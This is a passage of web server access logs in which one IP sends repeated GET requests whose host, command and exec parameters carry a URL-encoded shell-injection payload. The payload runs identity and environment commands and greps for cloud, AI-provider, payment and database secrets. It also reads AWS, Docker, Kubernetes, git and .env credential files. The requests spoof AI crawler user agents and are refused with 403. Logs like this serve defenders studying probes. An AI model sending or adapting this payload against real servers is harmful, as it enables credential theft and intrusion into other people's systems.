F.npmrc+%22%24HOME%2F.netrc%22+%2Froot%2F.netrc+%22%24HOME%2F.git-credentials%22+%2Froot%2F.git-credentials+%22%24HOME%2F.kube%2Fconfig%22+%2Froot%2F.kube%2Fconfig+%22%24HOME%2F.config%2Fgcloud%2Fapplication_default_credentials.json%22+%2Froot%2F.config%2Fgcloud%2Fapplication_default_credentials.json%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26head+-c+2500+%22%24f%22%3Becho%3Bdone%3Becho+%22%3D%3D%3Drun_secrets%3D%3D%3D%22%3Bls+-la+%2Frun%2Fsecrets+2%3E%2Fdev%2Fnull%7Chead+-n+30%3Bfor+f+in+%2Frun%2Fsecrets%2F%2A+%2Fapp%2Fsecrets%2F%2A+%2Fvar%2Fsecrets%2F%2A%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26head+-c+1500+%22%24f%22%3Becho%3Bdone%3Becho+%22%3D%3D%3Dpg_port%3D%3D%3D%22%3B%28ss+-lnt+2%3E%2Fdev%2Fnull%7C%7Cnetstat+-lnt+2%3E%2Fdev%2Fnull%29%7Cgrep+-E+%22%5B%3A.%5D5432%5B%5B%3Aspace%3A%5D%5D%22+%7Chead+-n+5%7C%7Ctrue%3Becho+%22%3D%3D%3Dpg_files%3D%3D%3D%22%3Bls+%2Fvar%2Flib%2Fpostgresql+2%3E%2Fdev%2Fnull%7Chead+-n+5%3Bls+%2Fvar%2Frun%2Fpostgresql+2%3E%2Fdev%2Fnull%7Chead+-n+5%3B+echo+GSCAN_END+%23 HTTP/2.0" 403 17545 "-" "Mozilla/5.0 (compatible; Google-Extended/1.0; +http://www.google.com/bot.html)" 17 **0/17160**
34.140.123.172 - - [04/Aug/2026:17:49:56 -0700] "GET /?host=%3B+echo+GSCAN_BEGIN%3B+echo+%22%3D%3D%3Did%3D%3D%3D%22%3Bid%3Becho+%22%3D%3D%3Dhost%3D%3D%3D%22%3Bhostname%3Becho+%22%3D%3D%3Dpwd%3D%3D%3D%22%3Bpwd%3Becho+%22%3D%3D%3Dwhoami%3D%3D%3D%22%3Bwhoami+2%3E%2Fdev%2Fnull%3Becho+%22%3D%3D%3Dprintenv%3D%3D%3D%22%3Bprintenv+2%3E%2Fdev%2Fnull%7Chead+-n+200%3Becho+%22%3D%3D%3Denv_secrets%3D%3D%3D%22%3Benv+2%3E%2Fdev%2Fnull%7Cgrep+-iE+%22AWS%7CAKIA%7CASIA%7CSECRET%7CTOKEN%7CPASSWORD%7CAPI%5B_-%5D%3FKEY%7CPRIVATE%7COPENAI%7CANTHROPIC%7CCLAUDE%7CGEMINI%7CGOOGLE%7CGCP%7CAZURE%7CDATABASE%7CPOSTGRES%7CMYSQL%7CMONGO%7CREDIS%7CSTRIPE%7CGITHUB%7CSLACK%7CTWILIO%7CSENDGRID%7CJWT%7CAUTH%7CCREDENTIAL%7CACCESS_KEY%7CBEARER%7CWEBHOOK%7CDSN%7CCONNECTION%7CBOT_TOKEN%7CSMTP%22+%7Chead+-n+150%3Becho+%22%3D%3D%3Daws_env%3D%3D%3D%22%3Benv+2%3E%2Fdev%2Fnull%7Cgrep+-i+AWS%7Chead+-n+80%3Becho+%22%3D%3D%3Daws_echo%3D%3D%3D%22%3Becho+AWS_ACCESS_KEY_ID%3D%24AWS_ACCESS_KEY_ID%3Becho+AWS_SECRET_ACCESS_KEY%3D%24AWS_SECRET_ACCESS_KEY%3Becho+AWS_SESSION_TOKEN%3D%24AWS_SESSION_TOKEN%3Becho+AWS_DEFAULT_REGION%3D%24AWS_DEFAULT_REGION%3Becho+AWS_REGION%3D%24AWS_REGION%3Becho+AWS_BEARER_TOKEN_BEDROCK%3D%24AWS_BEARER_TOKEN_BEDROCK%3Becho+%22%3D%3D%3Daws_credentials%3D%3D%3D%22%3Bfor+f+in+%22%24HOME%2F.aws%2Fcredentials%22+%2Froot%2F.aws%2Fcredentials+%2F.aws%2Fcredentials+%2Fhome%2F%2A%2F.aws%2Fcredentials%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26cat+%22%24f%22%3Bdone%3Becho+%22%3D%3D%3Daws_config%3D%3D%3D%22%3Bfor+f+in+%22%24HOME%2F.aws%2Fconfig%22+%2Froot%2F.aws%2Fconfig+%2F.aws%2Fconfig+%2Fhome%2F%2A%2F.aws%2Fconfig%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26cat+%22%24f%22%3Bdone%3Becho+%22%3D%3D%3Dai_echo%3D%3D%3D%22%3Becho+OPENAI_API_KEY%3D%24OPENAI_API_KEY%3Becho+ANTHROPIC_API_KEY%3D%24ANTHROPIC_API_KEY%3Becho+GOOGLE_API_KEY%3D%24GOOGLE_API_KEY%3Becho+GEMINI_API_KEY%3D%24GEMINI_API_KEY%3Becho+OPENROUTER_API_KEY%3D%24OPENROUTER_API_KEY%3Becho+DEEPSEEK_API_KEY%3D%24DEEPSEEK_API_KEY%3Becho+STRIPE_SECRET_KEY%3D%24STRIPE_SECRET_KEY%3Becho+STRIPE_API_KEY%3D%24STRIPE_API_KEY%3Becho+GITHUB_TOKEN%3D%24GITHUB_TOKEN%3Becho+GH_TOKEN%3D%24GH_TOKEN%3Becho+%22%3D%3D%3Dcloud_echo%3D%3D%3D%22%3Becho+GOOGLE_APPLICATION_CREDENTIALS%3D%24GOOGLE_APPLICATION_CREDENTIALS%3Becho+GCLOUD_PROJECT%3D%24GCLOUD_PROJECT%3Becho+GOOGLE_CLOUD_PROJECT%3D%24GOOGLE_CLOUD_PROJECT%3Becho+AZURE_CLIENT_ID%3D%24AZURE_CLIENT_ID%3Becho+AZURE_CLIENT_SECRET%3D%24AZURE_CLIENT_SECRET%3Becho+AZURE_TENANT_ID%3D%24AZURE_TENANT_ID%3Becho+%22%3D%3D%3Ddb_env%3D%3D%3D%22%3Bprintenv+2%3E%2Fdev%2Fnull%7Cgrep+-iE+%22%5E%28POSTGRES%7CPG%7CDATABASE%7CDB_%7CMYSQL%7CREDIS%7CMONGO%7CSQLALCHEMY%7CJDBC%7CDATABASE_URL%7CREDIS_URL%7CMONGO_URL%7CMONGODB_URI%29%3D%22%7Chead+-n+60%3Becho+%22%3D%3D%3Ddockerenv%3D%3D%3D%22%3B%5B+-f+%2F.dockerenv+%5D%26%26echo+DOCKER%3D1%7C%7Cecho+DOCKER%3D0%3Becho+%22%3D%3D%3Dcgroup%3D%3D%3D%22%3Bhead+-n+5+%2Fproc%2F1%2Fcgroup+2%3E%2Fdev%2Fnull%3Becho+%22%3D%3D%3Dproc_self_env%3D%3D%3D%22%3Btr+%5C%5C0+%5C%5Cn+%3C%2Fproc%2Fself%2Fenviron+2%3E%2Fdev%2Fnull%7Chead+-n+150%3Becho+%22%3D%3D%3Dproc1env%3D%3D%3D%22%3Btr+%5C%5C0+%5C%5Cn+%3C%2Fproc%2F1%2Fenviron+2%3E%2Fdev%2Fnull%7Chead+-n+100%3Becho+%22%3D%3D%3Ddotenv%3D%3D%3D%22%3Bfor+f+in+.env+.env.local+.env.production+.env.development+.env.staging+.env.prod+.env.dev+.env.development.local+.env.production.local+app%2F.env+%2Fapp%2F.env+%2Fvar%2Fwww%2F.env+%2Fvar%2Fwww%2Fhtml%2F.env+backend%2F.env+api%2F.env+server%2F.env+config%2F.env%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26head+-n+80+%22%24f%22%3Bdone%3Becho+%22%3D%3D%3Dcompose%3D%3D%3D%22%3Bfor+f+in+docker-compose.yml+docker-compose.yaml+compose.yml+compose.yaml+%2Fapp%2Fdocker-compose.yml+%2Fapp%2Fcompose.yml%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26head+-n+80+%22%24f%22%3Bdone%3Becho+%22%3D%3D%3Ddocker_config%3D%3D%3D%22%3Bfor+f+in+%22%24HOME%2F.docker%2Fconfig.json%22+%2Froot%2F.docker%2Fconfig.json%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26head+-c+3000+%22%24f%22%3Becho%3Bdone%3Becho+%22%3D%3D%3Ddocker_ps%3D%3D%3D%22%3Bdocker+ps+--format+%22%7B%7B.ID%7D%7D+%7B%7B.Names%7D%7D+%7B%7B.Image%7D%7D+%7B%7B.Status%7D%7D%22+2%3E%2Fdev%2Fnull%7Chead+-n+40%3Becho+%22%3D%3D%3Ddocker_count%3D%3D%3D%22%3Becho+-n+%22running%3D%22%3Bdocker+ps+-q+2%3E%2Fdev%2Fnull%7Cwc+-l%7Ctr+-d+%22+%22%3Becho+-n+%22+all%3D%22%3Bdocker+ps+-aq+2%3E%2Fdev%2Fnull%7Cwc+-l%7Ctr+-d+%22+%22%3Becho%3Becho+%22%3D%3D%3Ddocker_db%3D%3D%3D%22%3Bdocker+ps+--format+%22%7B%7B.Names%7D%7D+%7B%7B.Image%7D%7D+%7B%7B.Ports%7D%7D%22+2%3E%2Fdev%2Fnull%7Cgrep+-iE+%22postgres%7Cmysql%7Cmongo%7Credis%7Cmariadb%7Cpgvector%7Csupabase%22+%7Chead+-n+20%3Becho+%22%3D%3D%3Ddocker_self%3D%3D%3D%22%3BCID%3D%24%28cat+%2Fproc%2Fself%2Fcgroup+2%3E%2Fdev%2Fnull%7Csed+-n+%22s%7C.%2A%2F%5C%28%5B0-9a-f%5D%5C%7B12%2C%5C%7D%5C%29.%2A%7C%5C1%7Cp%22%7Chead+-1%29%3B%5B+-n+%22%24CID%22+%5D%26%26docker+inspect+--format+%22name%3D%7B%7B.Name%7D%7D+image%3D%7B%7B.Config.Image%7D%7D+env%3D%7B%7Bjson+.Config.Env%7D%7D%22+%22%24CID%22+2%3E%2Fdev%2Fnull%7Chead+-c+4000%3Becho%3Becho+%22%3D%3D%3Ddocker_sock%3D%3D%3D%22%3B%5B+-S+%2Fvar%2Frun%2Fdocker.sock+%5D%26%26echo+SOCK%3D1%7C%7Cecho+SOCK%3D0%3Becho+%22%3D%3D%3Dk8s%3D%3D%3D%22%3Bfor+f+in+%2Fvar%2Frun%2Fsecrets%2Fkubernetes.io%2Fserviceaccount%2Ftoken+%2Fvar%2Frun%2Fsecrets%2Fkubernetes.io%2Fserviceaccount%2Fnamespace+%2Frun%2Fsecrets%2Fkubernetes.io%2Fserviceaccount%2Ftoken+%2Frun%2Fsecrets%2Fkubernetes.io%2Fserviceaccount%2Fnamespace%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26head+-c+2000+%22%24f%22%3Becho%3Bdone%3Becho+%22%3D%3D%3Dsecret_files%3D%3D%3D%22%3Bfor+f+in+%22%24HOME%2F.npmrc%22+%2Froot%2F.npmrc+%22%24HOME%2F.netrc%22+%2Froot%2F.netrc+%22%24HOME%2F.git-credentials%22+%2Froot%2F.git-credentials+%22%24HOME%2F.kube%2Fconfig%22+%2Froot%2F.kube%2Fconfig+%22%24HOME%2F.config%2Fgcloud%2Fapplication_default_credentials.json%22+%2Froot%2F.config%2Fgcloud%2Fapplication_default_credentials.json%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26head+-c+2500+%22%24f%22%3Becho%3Bdone%3Becho+%22%3D%3D%3Drun_secrets%3D%3D%3D%22%3Bls+-la+%2Frun%2Fsecrets+2%3E%2Fdev%2Fnull%7Chead+-n+30%3Bfor+f+in+%2Frun%2Fsecrets%2F%2A+%2Fapp%2Fsecrets%2F%2A+%2Fvar%2Fsecrets%2F%2A%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26head+-c+1500+%22%24f%22%3Becho%3Bdone%3Becho+%22%3D%3D%3Dpg_port%3D%3D%3D%22%3B%28ss+-lnt+2%3E%2Fdev%2Fnull%7C%7Cnetstat+-lnt+2%3E%2Fdev%2Fnull%29%7Cgrep+-E+%22%5B%3A.%5D5432%5B%5B%3Aspace%3A%5D%5D%22+%7Chead+-n+5%7C%7Ctrue%3Becho+%22%3D%3D%3Dpg_files%3D%3D%3D%22%3Bls+%2Fvar%2Flib%2Fpostgresql+2%3E%2Fdev%2Fnull%7Chead+-n+5%3Bls+%2Fvar%2Frun%2Fpostgresql+2%3E%2Fdev%2Fnull%7Chead+-n+5%3B+echo+GSCAN_END+%23 HTTP/2.0" 403 17546 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.4; +https://openai.com/gptbot)" 23 **0/23769**
34.140.123.172 - - [04/Aug/2026:17:49:56 -0700] "GET /?command=%3B+echo+GSCAN_BEGIN%3B+echo+%22%3D%3D%3Did%3D%3D%3D%22%3Bid%3Becho+%22%3D%3D%3Dhost%3D%3D%3D%22%3Bhostname%3Becho+%22%3D%3D%3Dpwd%3D%3D%3D%22%3Bpwd%3Becho+%22%3D%3D%3Dwhoami%3D%3D%3D%22%3Bwhoami+2%3E%2Fdev%2Fnull%3Becho+%22%3D%3D%3Dprintenv%3D%3D%3D%22%3Bprintenv+2%3E%2Fdev%2Fnull%7Chead+-n+200%3Becho+%22%3D%3D%3Denv_secrets%3D%3D%3D%22%3Benv+2%3E%2Fdev%2Fnull%7Cgrep+-iE+%22AWS%7CAKIA%7CASIA%7CSECRET%7CTOKEN%7CPASSWORD%7CAPI%5B_-%5D%3FKEY%7CPRIVATE%7COPENAI%7CANTHROPIC%7CCLAUDE%7CGEMINI%7CGOOGLE%7CGCP%7CAZURE%7CDATABASE%7CPOSTGRES%7CMYSQL%7CMONGO%7CREDIS%7CSTRIPE%7CGITHUB%7CSLACK%7CTWILIO%7CSENDGRID%7CJWT%7CAUTH%7CCREDENTIAL%7CACCESS_KEY%7CBEARER%7CWEBHOOK%7CDSN%7CCONNECTION%7CBOT_TOKEN%7CSMTP%22+%7Chead+-n+150%3Becho+%22%3D%3D%3Daws_env%3D%3D%3D%22%3Benv+2%3E%2Fdev%2Fnull%7Cgrep+-i+AWS%7Chead+-n+80%3Becho+%22%3D%3D%3Daws_echo%3D%3D%3D%22%3Becho+AWS_ACCESS_KEY_ID%3D%24AWS_ACCESS_KEY_ID%3Becho+AWS_SECRET_ACCESS_KEY%3D%24AWS_SECRET_ACCESS_KEY%3Becho+AWS_SESSION_TOKEN%3D%24AWS_SESSION_TOKEN%3Becho+AWS_DEFAULT_REGION%3D%24AWS_DEFAULT_REGION%3Becho+AWS_REGION%3D%24AWS_REGION%3Becho+AWS_BEARER_TOKEN_BEDROCK%3D%24AWS_BEARER_TOKEN_BEDROCK%3Becho+%22%3D%3D%3Daws_credentials%3D%3D%3D%22%3Bfor+f+in+%22%24HOME%2F.aws%2Fcredentials%22+%2Froot%2F.aws%2Fcredentials+%2F.aws%2Fcredentials+%2Fhome%2F%2A%2F.aws%2Fcredentials%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26cat+%22%24f%22%3Bdone%3Becho+%22%3D%3D%3Daws_config%3D%3D%3D%22%3Bfor+f+in+%22%24HOME%2F.aws%2Fconfig%22+%2Froot%2F.aws%2Fconfig+%2F.aws%2Fconfig+%2Fhome%2F%2A%2F.aws%2Fconfig%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26cat+%22%24f%22%3Bdone%3Becho+%22%3D%3D%3Dai_echo%3D%3D%3D%22%3Becho+OPENAI_API_KEY%3D%24OPENAI_API_KEY%3Becho+ANTHROPIC_API_KEY%3D%24ANTHROPIC_API_KEY%3Becho+GOOGLE_API_KEY%3D%24GOOGLE_API_KEY%3Becho+GEMINI_API_KEY%3D%24GEMINI_API_KEY%3Becho+OPENROUTER_API_KEY%3D%24OPENROUTER_API_KEY%3Becho+DEEPSEEK_API_KEY%3D%24DEEPSEEK_API_KEY%3Becho+STRIPE_SECRET_KEY%3D%24STRIPE_SECRET_KEY%3Becho+STRIPE_API_KEY%3D%24STRIPE_API_KEY%3Becho+GITHUB_TOKEN%3D%24GITHUB_TOKEN%3Becho+GH_TOKEN%3D%24GH_TOKEN%3Becho+%22%3D%3D%3Dcloud_echo%3D%3D%3D%22%3Becho+GOOGLE_APPLICATION_CREDENTIALS%3D%24GOOGLE_APPLICATION_CREDENTIALS%3Becho+GCLOUD_PROJECT%3D%24GCLOUD_PROJECT%3Becho+GOOGLE_CLOUD_PROJECT%3D%24GOOGLE_CLOUD_PROJECT%3Becho+AZURE_CLIENT_ID%3D%24AZURE_CLIENT_ID%3Becho+AZURE_CLIENT_SECRET%3D%24AZURE_CLIENT_SECRET%3Becho+AZURE_TENANT_ID%3D%24AZURE_TENANT_ID%3Becho+%22%3D%3D%3Ddb_env%3D%3D%3D%22%3Bprintenv+2%3E%2Fdev%2Fnull%7Cgrep+-iE+%22%5E%28POSTGRES%7CPG%7CDATABASE%7CDB_%7CMYSQL%7CREDIS%7CMONGO%7CSQLALCHEMY%7CJDBC%7CDATABASE_URL%7CREDIS_URL%7CMONGO_URL%7CMONGODB_URI%29%3D%22%7Chead+-n+60%3Becho+%22%3D%3D%3Ddockerenv%3D%3D%3D%22%3B%5B+-f+%2F.dockerenv+%5D%26%26echo+DOCKER%3D1%7C%7Cecho+DOCKER%3D0%3Becho+%22%3D%3D%3Dcgroup%3D%3D%3D%22%3Bhead+-n+5+%2Fproc%2F1%2Fcgroup+2%3E%2Fdev%2Fnull%3Becho+%22%3D%3D%3Dproc_self_env%3D%3D%3D%22%3Btr+%5C%5C0+%5C%5Cn+%3C%2Fproc%2Fself%2Fenviron+2%3E%2Fdev%2Fnull%7Chead+-n+150%3Becho+%22%3D%3D%3Dproc1env%3D%3D%3D%22%3Btr+%5C%5C0+%5C%5Cn+%3C%2Fproc%2F1%2Fenviron+2%3E%2Fdev%2Fnull%7Chead+-n+100%3Becho+%22%3D%3D%3Ddotenv%3D%3D%3D%22%3Bfor+f+in+.env+.env.local+.env.production+.env.development+.env.staging+.env.prod+.env.dev+.env.development.local+.env.production.local+app%2F.env+%2Fapp%2F.env+%2Fvar%2Fwww%2F.env+%2Fvar%2Fwww%2Fhtml%2F.env+backend%2F.env+api%2F.env+server%2F.env+config%2F.env%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26head+-n+80+%22%24f%22%3Bdone%3Becho+%22%3D%3D%3Dcompose%3D%3D%3D%22%3Bfor+f+in+docker-compose.yml+docker-compose.yaml+compose.yml+compose.yaml+%2Fapp%2Fdocker-compose.yml+%2Fapp%2Fcompose.yml%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26head+-n+80+%22%24f%22%3Bdone%3Becho+%22%3D%3D%3Ddocker_config%3D%3D%3D%22%3Bfor+f+in+%22%24HOME%2F.docker%2Fconfig.json%22+%2Froot%2F.docker%2Fconfig.json%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26head+-c+3000+%22%24f%22%3Becho%3Bdone%3Becho+%22%3D%3D%3Ddocker_ps%3D%3D%3D%22%3Bdocker+ps+--format+%22%7B%7B.ID%7D%7D+%7B%7B.Names%7D%7D+%7B%7B.Image%7D%7D+%7B%7B.Status%7D%7D%22+2%3E%2Fdev%2Fnull%7Chead+-n+40%3Becho+%22%3D%3D%3Ddocker_count%3D%3D%3D%22%3Becho+-n+%22running%3D%22%3Bdocker+ps+-q+2%3E%2Fdev%2Fnull%7Cwc+-l%7Ctr+-d+%22+%22%3Becho+-n+%22+all%3D%22%3Bdocker+ps+-aq+2%3E%2Fdev%2Fnull%7Cwc+-l%7Ctr+-d+%22+%22%3Becho%3Becho+%22%3D%3D%3Ddocker_db%3D%3D%3D%22%3Bdocker+ps+--format+%22%7B%7B.Names%7D%7D+%7B%7B.Image%7D%7D+%7B%7B.Ports%7D%7D%22+2%3E%2Fdev%2Fnull%7Cgrep+-iE+%22postgres%7Cmysql%7Cmongo%7Credis%7Cmariadb%7Cpgvector%7Csupabase%22+%7Chead+-n+20%3Becho+%22%3D%3D%3Ddocker_self%3D%3D%3D%22%3BCID%3D%24%28cat+%2Fproc%2Fself%2Fcgroup+2%3E%2Fdev%2Fnull%7Csed+-n+%22s%7C.%2A%2F%5C%28%5B0-9a-f%5D%5C%7B12%2C%5C%7D%5C%29.%2A%7C%5C1%7Cp%22%7Chead+-1%29%3B%5B+-n+%22%24CID%22+%5D%26%26docker+inspect+--format+%22name%3D%7B%7B.Name%7D%7D+image%3D%7B%7B.Config.Image%7D%7D+env%3D%7B%7Bjson+.Config.Env%7D%7D%22+%22%24CID%22+2%3E%2Fdev%2Fnull%7Chead+-c+4000%3Becho%3Becho+%22%3D%3D%3Ddocker_sock%3D%3D%3D%22%3B%5B+-S+%2Fvar%2Frun%2Fdocker.sock+%5D%26%26echo+SOCK%3D1%7C%7Cecho+SOCK%3D0%3Becho+%22%3D%3D%3Dk8s%3D%3D%3D%22%3Bfor+f+in+%2Fvar%2Frun%2Fsecrets%2Fkubernetes.io%2Fserviceaccount%2Ftoken+%2Fvar%2Frun%2Fsecrets%2Fkubernetes.io%2Fserviceaccount%2Fnamespace+%2Frun%2Fsecrets%2Fkubernetes.io%2Fserviceaccount%2Ftoken+%2Frun%2Fsecrets%2Fkubernetes.io%2Fserviceaccount%2Fnamespace%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26head+-c+2000+%22%24f%22%3Becho%3Bdone%3Becho+%22%3D%3D%3Dsecret_files%3D%3D%3D%22%3Bfor+f+in+%22%24HOME%2F.npmrc%22+%2Froot%2F.npmrc+%22%24HOME%2F.netrc%22+%2Froot%2F.netrc+%22%24HOME%2F.git-credentials%22+%2Froot%2F.git-credentials+%22%24HOME%2F.kube%2Fconfig%22+%2Froot%2F.kube%2Fconfig+%22%24HOME%2F.config%2Fgcloud%2Fapplication_default_credentials.json%22+%2Froot%2F.config%2Fgcloud%2Fapplication_default_credentials.json%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26head+-c+2500+%22%24f%22%3Becho%3Bdone%3Becho+%22%3D%3D%3Drun_secrets%3D%3D%3D%22%3Bls+-la+%2Frun%2Fsecrets+2%3E%2Fdev%2Fnull%7Chead+-n+30%3Bfor+f+in+%2Frun%2Fsecrets%2F%2A+%2Fapp%2Fsecrets%2F%2A+%2Fvar%2Fsecrets%2F%2A%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26head+-c+1500+%22%24f%22%3Becho%3Bdone%3Becho+%22%3D%3D%3Dpg_port%3D%3D%3D%22%3B%28ss+-lnt+2%3E%2Fdev%2Fnull%7C%7Cnetstat+-lnt+2%3E%2Fdev%2Fnull%29%7Cgrep+-E+%22%5B%3A.%5D5432%5B%5B%3Aspace%3A%5D%5D%22+%7Chead+-n+5%7C%7Ctrue%3Becho+%22%3D%3D%3Dpg_files%3D%3D%3D%22%3Bls+%2Fvar%2Flib%2Fpostgresql+2%3E%2Fdev%2Fnull%7Chead+-n+5%3Bls+%2Fvar%2Frun%2Fpostgresql+2%3E%2Fdev%2Fnull%7Chead+-n+5%3B+echo+GSCAN_END+%23 HTTP/2.0" 403 17549 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; ChatGPT-User/1.0; +https://openai.com/bot" 18 **0/18466**
34.140.123.172 - - [04/Aug/2026:17:49:56 -0700] "GET /?exec=%3B+echo+GSCAN_BEGIN%3B+echo+%22%3D%3D%3Did%3D%3D%3D%22%3Bid%3Becho+%22%3D%3D%3Dhost%3D%3D%3D%22%3Bhostname%3Becho+%22%3D%3D%3Dpwd%3D%3D%3D%22%3Bpwd%3Becho+%22%3D%3D%3Dwhoami%3D%3D%3D%22%3Bwhoami+2%3E%2Fdev%2Fnull%3Becho+%22%3D%3D%3Dprintenv%3D%3D%3D%22%3Bprintenv+2%3E%2Fdev%2Fnull%7Chead+-n+200%3Becho+%22%3D%3D%3Denv_secrets%3D%3D%3D%22%3Benv+2%3E%2Fdev%2Fnull%7Cgrep+-iE+%22AWS%7CAKIA%7CASIA%7CSECRET%7CTOKEN%7CPASSWORD%7CAPI%5B_-%5D%3FKEY%7CPRIVATE%7COPENAI%7CANTHROPIC%7CCLAUDE%7CGEMINI%7CGOOGLE%7CGCP%7CAZURE%7CDATABASE%7CPOSTGRES%7CMYSQL%7CMONGO%7CREDIS%7CSTRIPE%7CGITHUB%7CSLACK%7CTWILIO%7CSENDGRID%7CJWT%7CAUTH%7CCREDENTIAL%7CACCESS_KEY%7CBEARER%7CWEBHOOK%7CDSN%7CCONNECTION%7CBOT_TOKEN%7CSMTP%22+%7Chead+-n+150%3Becho+%22%3D%3D%3Daws_env%3D%3D%3D%22%3Benv+2%3E%2Fdev%2Fnull%7Cgrep+-i+AWS%7Chead+-n+80%3Becho+%22%3D%3D%3Daws_echo%3D%3D%3D%22%3Becho+AWS_ACCESS_KEY_ID%3D%24AWS_ACCESS_KEY_ID%3Becho+AWS_SECRET_ACCESS_KEY%3D%24AWS_SECRET_ACCESS_KEY%3Becho+AWS_SESSION_TOKEN%3D%24AWS_SESSION_TOKEN%3Becho+AWS_DEFAULT_REGION%3D%24AWS_DEFAULT_REGION%3Becho+AWS_REGION%3D%24AWS_REGION%3Becho+AWS_BEARER_TOKEN_BEDROCK%3D%24AWS_BEARER_TOKEN_BEDROCK%3Becho+%22%3D%3D%3Daws_credentials%3D%3D%3D%22%3Bfor+f+in+%22%24HOME%2F.aws%2Fcredentials%22+%2Froot%2F.aws%2Fcredentials+%2F.aws%2Fcredentials+%2Fhome%2F%2A%2F.aws%2Fcredentials%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26cat+%22%24f%22%3Bdone%3Becho+%22%3D%3D%3Daws_config%3D%3D%3D%22%3Bfor+f+in+%22%24HOME%2F.aws%2Fconfig%22+%2Froot%2F.aws%2Fconfig+%2F.aws%2Fconfig+%2Fhome%2F%2A%2F.aws%2Fconfig%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26cat+%22%24f%22%3Bdone%3Becho+%22%3D%3D%3Dai_echo%3D%3D%3D%22%3Becho+OPENAI_API_KEY%3D%24OPENAI_API_KEY%3Becho+ANTHROPIC_API_KEY%3D%24ANTHROPIC_API_KEY%3Becho+GOOGLE_API_KEY%3D%24GOOGLE_API_KEY%3Becho+GEMINI_API_KEY%3D%24GEMINI_API_KEY%3Becho+OPENROUTER_API_KEY%3D%24OPENROUTER_API_KEY%3Becho+DEEPSEEK_API_KEY%3D%24DEEPSEEK_API_KEY%3Becho+STRIPE_SECRET_KEY%3D%24STRIPE_SECRET_KEY%3Becho+STRIPE_API_KEY%3D%24STRIPE_API_KEY%3Becho+GITHUB_TOKEN%3D%24GITHUB_TOKEN%3Becho+GH_TOKEN%3D%24GH_TOKEN%3Becho+%22%3D%3D%3Dcloud_echo%3D%3D%3D%22%3Becho+GOOGLE_APPLICATION_CREDENTIALS%3D%24GOOGLE_APPLICATION_CREDENTIALS%3Becho+GCLOUD_PROJECT%3D%24GCLOUD_PROJECT%3Becho+GOOGLE_CLOUD_PROJECT%3D%24GOOGLE_CLOUD_PROJECT%3Becho+AZURE_CLIENT_ID%3D%24AZURE_CLIENT_ID%3Becho+AZURE_CLIENT_SECRET%3D%24AZURE_CLIENT_SECRET%3Becho+AZURE_TENANT_ID%3D%24AZURE_TENANT_ID%3Becho+%22%3D%3D%3Ddb_env%3D%3D%3D%22%3Bprintenv+2%3E%2Fdev%2Fnull%7Cgrep+-iE+%22%5E%28POSTGRES%7CPG%7CDATABASE%7CDB_%7CMYSQL%7CREDIS%7CMONGO%7CSQLALCHEMY%7CJDBC%7CDATABASE_URL%7CREDIS_URL%7CMONGO_URL%7CMONGODB_URI%29%3D%22%7Chead+-n+60%3Becho+%22%3D%3D%3Ddockerenv%3D%3D%3D%22%3B%5B+-f+%2F.dockerenv+%5D%26%26echo+DOCKER%3D1%7C%7Cecho+DOCKER%3D0%3Becho+%22%3D%3D%3Dcgroup%3D%3D%3D%22%3Bhead+-n+5+%2Fproc%2F1%2Fcgroup+2%3E%2Fdev%2Fnull%3Becho+%22%3D%3D%3Dproc_self_env%3D%3D%3D%22%3Btr+%5C%5C0+%5C%5Cn+%3C%2Fproc%2Fself%2Fenviron+2%3E%2Fdev%2Fnull%7Chead+-n+150%3Becho+%22%3D%3D%3Dproc1env%3D%3D%3D%22%3Btr+%5C%5C0+%5C%5Cn+%3C%2Fproc%2F1%2Fenviron+2%3E%2Fdev%2Fnull%7Chead+-n+100%3Becho+%22%3D%3D%3Ddotenv%3D%3D%3D%22%3Bfor+f+in+.env+.env.local+.env.production+.env.development+.env.staging+.env.prod+.env.dev+.env.development.local+.env.production.local+app%2F.env+%2Fapp%2F.env+%2Fvar%2Fwww%2F.env+%2Fvar%2Fwww%2Fhtml%2F.env+backend%2F.env+api%2F.env+server%2F.env+config%2F.env%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26head+-n+80+%22%24f%22%3Bdone%3Becho+%22%3D%3D%3Dcompose%3D%3D%3D%22%3Bfor+f+in+docker-compose.yml+docker-compose.yaml+compose.yml+compose.yaml+%2Fapp%2Fdocker-compose.yml+%2Fapp%2Fcompose.yml%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26head+-n+80+%22%24f%22%3Bdone%3Becho+%22%3D%3D%3Ddocker_config%3D%3D%3D%22%3Bfor+f+in+%22%24HOME%2F.docker%2Fconfig.json%22+%2Froot%2F.docker%2Fconfig.json%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26head+-c+3000+%22%24f%22%